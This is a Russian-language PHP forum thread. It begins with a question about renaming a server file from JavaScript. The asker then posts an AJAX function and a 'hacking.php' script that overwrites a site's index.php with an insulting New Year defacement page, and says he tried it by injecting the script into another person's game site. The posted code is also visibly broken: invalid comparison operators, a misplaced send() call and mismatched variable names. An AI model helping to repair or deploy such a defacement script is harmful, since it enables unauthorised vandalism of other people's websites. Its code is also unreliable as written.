[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Переименование файла
IT_developer
Всем привет. Допустим есть 2 файла на сервере. index.html and text.txtЗайдя на index.html магический джаваскрипт должен переименовать text.txt допустим в gfgfgfg.txt
Игорь_Vasinsky
магический джава не может ничё делать с файлами, зато аяксом можно запустить php скрипт

_____________
HTML, CSS (Bootstrap), JS(JQuery, ExtJS), PHP, MySQL, MSSql, Posgres, (TSql, BI OLAP, MDX), Mongo, Git, SVN, CodeIgnater, Symfony, Yii 2, JiRA, Redmine, Bitbucket, Composer, Rabbit MQ, Amazon (SQS, S3, Transcribe), Docker
Zzepish
У вас тут сборище сектантов-фанатиков javascript'а???? biggrin.gif
IT_developer
Zzepish с чего ты взял?
inpost
IT_developer
JS = клиент. Клиент не имеет доступа к серверу. Вот представь, у меня есть доступ к серверу майкрософта... это я могу их сайт удалить? Нет? Значит и доступа у меня нет! Доступ имеет серверное приложение, в нашем случае скрипт на php.

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Zzepish
IT_developer
магический джаваскрипт
Как будто вы ему поклоняетесь )))
IT_developer
inpost вот смотри. я встроил на свой сайт(через отладчик в хроме) скрипт аякса который обращается к php скрипту и он переименновывает файл на сервер. он не работает. Ошибок не выдало. А если я это сделаю в фсамом файле страници, то он сработает. почему не работает первый вариант?
sergeiss
Цитата (IT_developer @ 1.01.2013 - 13:16)
почему не работает первый вариант?

Ты думаешь, что инпост - экстрасенс? smile.gif Ты код покажи, тогда можно будет судить о том, что там происходит.

И вопрос тебе. Ты как вообще проверял, что твой скрипт был запущен через аякс? Может быть, у тебя там что-то не так сделано, и аяксовый запрос просто не дошел до сервера.

_____________
* Хэлп по PHP
* Описалово по JavaScript
* Хэлп и СУБД для PostgreSQL

* Обучаю PHP, JS, вёрстке. Интерактивно и качественно. За разумные деньги.

* "накапливаю умение телепатии" (С) и "гуглю за ваш счет" (С)

user posted image
IT_developer
Вот код JS:
   function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}

if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}

function hack()
{
var xmlhttp = getXmlHttp()
xmlhttp.open('GET', 'http://........./hacking.php', true);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
if(xmlhttp.status == 200) {
alert(xmlhttp.responseText);
}
}


xmlhttp.send(null);
};


}

А вот и hacking.php:
<?php

$txt_path = "./uploads/files/index.txt";

if(file_exists($txt_path))
{
$index_ctn = file_get_contents($txt_path);
}
else
{
$index_ctn = file_get_contents("./index.php");
$fp = fopen($txt_path,"w");
fclose($fp);

file_put_contents($txt_path, $index_ctn);
}

$date = explode("-", date("m-d"));
$realibility_text = "<br />А вот и инстркция по восстановлению. Просто откройте файл index.php у вас на сервере и замените его содержимое на: <br >" . $index_ctn;

if($date[0] => 01 and $date[1] => 02)
{
$realibility = $index_ctn;
}
else
{
$realibility = null;
}


$index_new_ctn = "
<html>
<head>
<title>С новыйм годом</title>
</head>
<body>
<center><h1>С новым годом зАдРОтЫ</h1></center>

"
.$realibility."
</body>
</html>"
;

if(file_get_contents("./index.php") != $index_new_text)
{
file_put_contents("./index.php", "");
file_put_contents("./index.php", $index_new_ctn);
}


Вот я зашел на сайт(на какой сайт заходил не могу сказать, но он игровой тематики и написан на DLE). Открыл исходный код, вставил подключение JS файла, и сделал кнопку с onclick="hack(); return false;" И ничего не сработало ))
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.